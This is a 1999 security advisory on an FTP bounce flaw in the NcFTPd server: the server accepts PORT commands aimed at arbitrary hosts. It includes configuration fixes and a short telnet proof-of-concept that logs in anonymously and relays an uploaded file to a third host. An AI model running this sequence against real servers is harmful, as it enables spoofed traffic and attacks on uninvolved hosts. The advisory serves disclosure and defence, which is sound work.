ncftpd.txt

`  
Proof of Concept - Security Advisory 02/16/99  
http://poc.csoft.net Released by  
[email protected] [email protected]  
  
---  
  
Affected Program NcFTPd <http://www.ncftp.com>  
Description FTP server (commercial)  
Severity Can port anywhere / spoof  
  
  
Synopsis:  
  
NcFTPd is a commercial FTP (File Transfer Protocol) server, in the  
NcFTP product line. The source code is not publicly released.  
  
Overview:  
  
To initiate a FTP transfer, there must be two connections, one  
control connection (server's ftp port), and one data connection.  
When a client wants to tell the server where to send the data (ie.  
a file you want to download, or a directory listing), it must use  
the command PORT - in which the destination address and port is  
specified.  
  
Problem:  
  
NcFTPd does not check that the destination PORT address is the  
user's IP. This means anybody can transmit data from the server  
anywhere, anonymously. Obviously this can lead to potential  
'easy' DoS attacks and spoofing (say, someone uploads a file  
containing commands of something to incoming, PORT to some host/port,  
and use RETR (retrieve file)). Such connections are possible  
with the default NcFTPd configuration, but can be disallowed:  
general.cf> allow-outgoing-proxy-data-connection-ports-below-1024 - no  
general.cf> allow-proxy-connections - no  
  
I made an example program that listens on a port and dumps  
arbitrary received data in string, hex or ascii/hex format -  
[http://poc.csoft.net/code/listerine/listerine.tar.gz]  
  
Example:  
  
evil:$ telnet victim ftp # victim runs NcFTPd  
user anonymous # anonymous is up by default  
pass some@thing  
port 192,168,0,1,5,131 # connect on port 1411  
retr incoming/stuff # send arbitrary data, as it  
# was coming from host victim.  
  
To see for yourself, you can run my example program `listerine', on  
the host victim. I tested this on my LAN and on remote machines too.  
  
  
Status:  
  
Got response from authors, the problem can be fixed indeed with  
the general.cf options mentionned above, but are not enabled with  
default configuration.  
  
.sw3  
`